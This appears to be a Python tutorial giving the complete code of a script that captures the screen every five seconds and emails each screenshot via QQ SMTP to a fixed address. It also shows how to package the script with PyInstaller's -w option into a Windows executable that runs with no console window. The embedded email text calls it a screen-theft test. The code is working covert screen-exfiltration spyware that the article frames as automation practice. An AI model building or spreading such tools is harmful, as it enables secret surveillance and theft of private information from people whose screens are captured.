Python Script for Periodic Screen Capture and Automatic Email Sending (Including EXE Packaging)
This article demonstrates how to use Python to capture the computer screen every five seconds, automatically email the screenshot using SMTP, and package the script into a Windows executable with PyInstaller, providing complete code, configuration steps, and visual results.
The article introduces a Python tutorial that records how to periodically capture the computer screen and automatically send the image to a specified email address, aiming to help readers practice Python's practical applications.
It explains that the script captures the screen every 5 seconds, saves the image locally, and sends it via email using the smtplib library combined with PIL.ImageGrab for screen grabbing.
Script code:
import time
import smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
"""自动发送邮件的函数"""
def smtp_s():
fromaddr = '142*******[email protected]' # 发送方邮箱
password = 'bw*************bef' # 授权码
toaddrs = ['130******[email protected]']
content = '正文内容:这是一封来自Python攻防脚本自动发送的电脑屏幕窃取测试邮件!'
textApart = MIMEText(content)
imageFile = r"1.png"
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")
m = MIMEMultipart()
m.attach(textApart)
m.attach(imageApart)
m['Subject'] = '主题:Python屏幕监控邮件'
m['From'] = "Tr0e"
try:
server = smtplib.SMTP('smtp.qq.com')
server.login(fromaddr, password)
server.sendmail(fromaddr, toaddrs, m.as_string())
print('发送成功!')
server.quit()
except smtplib.SMTPException as e:
print('error:', e)
"""截取屏幕并保存图片的函数"""
def imG():
i = 1
while True:
im = ImageGrab.grab()
im.save('1.png')
print("第%d个屏幕截取成功!" % i)
time.sleep(5)
i += 1
smtp_s()
if __name__ == '__main__':
imG()The article then provides a brief explanation of the code: ImageGrab grabs the current screen, smtplib handles email transmission, and the necessary SMTP settings for a QQ email account are highlighted.
It shows execution results in PyCharm, including screenshots of the sent email and the captured image.
Next, the guide explains how to package the script into a Windows executable using pyinstaller . It lists the installation command, the basic packaging command, and common options such as -F (single file), -w (no console), and -i (icon).
pip install pyinstaller
pyinstaller -F -w Test.pyAfter packaging, the generated Test.exe can be run to trigger the same screen capture and email sending behavior, with screenshots demonstrating the process.
In conclusion, the author emphasizes that the less‑than‑50‑line script showcases Python's concise yet powerful capabilities for automation, and hints at future tutorials on security‑related uses.
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.